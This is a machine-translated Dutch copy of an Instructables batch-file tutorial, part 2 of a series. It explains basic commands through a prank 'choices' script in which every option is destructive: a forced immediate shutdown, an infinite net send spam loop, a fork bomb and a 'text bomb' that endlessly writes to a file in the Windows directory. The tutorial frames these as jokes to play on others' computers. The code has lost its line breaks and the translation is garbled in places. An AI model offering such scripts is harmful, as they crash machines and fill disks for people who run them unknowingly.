Inhoudsopgave:

Batch-zelfstudie - Neem 2: 4 stappen
Batch-zelfstudie - Neem 2: 4 stappen

Video: Batch-zelfstudie - Neem 2: 4 stappen

Video: Batch-zelfstudie - Neem 2: 4 stappen
Video: Hoe enkele en batch QR-codes te genereren met Excel [Gratis download] 2024, November
Anonim
Batch-zelfstudie - Take 2
Batch-zelfstudie - Take 2

Oké, zoals ik al zei in mijn vorige tutorial over batch (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), ik ben van plan een uitgebreide 3-delige (of take) tutorial over batch te maken. Dat zou het grootste deel van wat u moet weten om te doen wat u wilt met batch moeten dekken.

Stap 1: Mijn tekst, titels en Cls opmaken

Oké om te beginnen, ik zal je de code laten zien;

@echo offtitle Keuzes.. [door laconix]clsecho Je moet een aantal keuzes maken..echo..maak echter de verkeerde keuze en lijd aan de gevolgen!echo.pause:menuclsecho.echo.echo.echo.echo. echo /------------------------------\echo / Kies een getal tussen 1 en 3 \echo (- 1.. 2.. 3 -)echo / Elke keuze behalve één is slecht! /echo \------------------------------/ titel stelt in feite de titel in voor de opdrachtprompt, dus titel instructables.com is cool! cls wist gewoon de cmd van elke invoer of uitvoer. Je zou nu moeten weten wat echo doet, maar echo. creëert een nieuwe regel die handig is voor opmaak.:menu hoewel ik dit in mijn vorige tutorial heb behandeld, is het de moeite waard om het nog eens te herhalen, in wezen creëert het een punt in een programma waarin je op elk moment GOTO kunt gaan. De rest van deze sectie is alleen maar formatteren.:NS

Stap 2: variabelen initialiseren, gebruikersinvoer verkrijgen en de If-instructie

Nogmaals, ik zal je de code laten zien en het dan uitleggen;

set choice = nadaecho ?.:Wat is het:.?set /p choice= Huh? clsif %choice% == 1 GOTO oneif %choice% == 2 GOTO twoif %choice% == 3 GOTO threemsg * Noch 1, 2 of 3 eh? Jammer, tot ziens..shutdown -s -f -t 00 set choice = nada, wat dit doet is het creëren of initialiseren van de variabele met de initiële waarde of "nada", of niets.:D Een variabele is als een container die informatie voor je opslaat totdat deze niet langer nodig is of het programma sluit. set /p Choose=, dit krijgt de invoer van de gebruiker, door het set-commando te gebruiken met het argument /p dat aangeeft dat het commando een promptstring moet hebben. Dus stel in feite /p choice=welk getal in? is als het stellen van een vraag en ze typen het antwoord. als het if-statement als zodanig werkt. if condition == true dothis Dus eigenlijk zegt het dat als %choice% gelijk is aan 1 GOTO één is dat dat niet waar is, het gaat gewoon naar de volgende regel. shutdown -s -f -t 00 sluit gewoon hun computer af en dwingt alle programma's om onmiddellijk te sluiten.

Stap 3: Piping-opdracht, asynchrone opdrachten en omgevingsvariabelen

Nogmaals, code eerst, uitleg daarna;

:onemsg * Dus je koos #1, dacht je dat je veilig was?msg * FOUT!:netspamnet send * laconix rules! GOTO netspam:twoshutdown -s -t 10pausemsg * Ik hoop dat je dit op tijd krijgt, want dit was de veilige…shutdown -aGOTO hell:threemsg * Dit is het veilige nummer…pauze:forkstart options.bat | msg * Geheugen wissen!GOTO fork:hellmsg *grap, ze zijn allemaal slecht!:textbombecho laconix regels! >> %systemroot%/laconix.txtGOTO:textbomb:one gaat in principe gewoon in een oneindige GOTO-lus. Zeer vergelijkbaar met de fork bomb voorbeeld 2 in de eerste tutorial.:twoVoer het commando shutdown -s -t 10" the pause s uit, als ze niet op tijd op een toets drukken, wordt hun computer afgesloten, als ze het maken, wordt het afgebroken en maakt ze GOTO hell:helVertelt hen dat geen van hen goed was, doet wat ik een tekstbom noem Welke pijpen (>>) het commando echo laconix regeert!' naar %systemroot%/laconix.txt in een\n oneindige GOTO-lus.%systemroot% is een omgevingsvariabele die het bestand vertelt dat het moet worden opgeslagen in de /windows/-directory, ongeacht de naam van het rootstation, bijv. C;/, E:/, Z:/, et cetera:threeLaat ze denken dat dit het veilige nummer is Gaat in een fork bomb vergelijkbaar met die in de eerste tutorial, maar met één belangrijk verschil. Asynchrone commando's; start keuzes.bat | msg * Geheugen wissen ! de | geeft asynchrone opdrachten aan, wat in feite betekent dat ze tegelijkertijd worden uitgevoerd.

Stap 4: Wat is er aan de hand? Woord

Bedankt voor het lezen van mijn tutorial, ik hoop dat je de video leuk vindt. Iets geleerd.

En ik hoop dat je interesse blijft houden in computers en in mijn instructables. Houd een seintje voor mijn laatste tutorial in deze serie binnenkort!

Aanbevolen: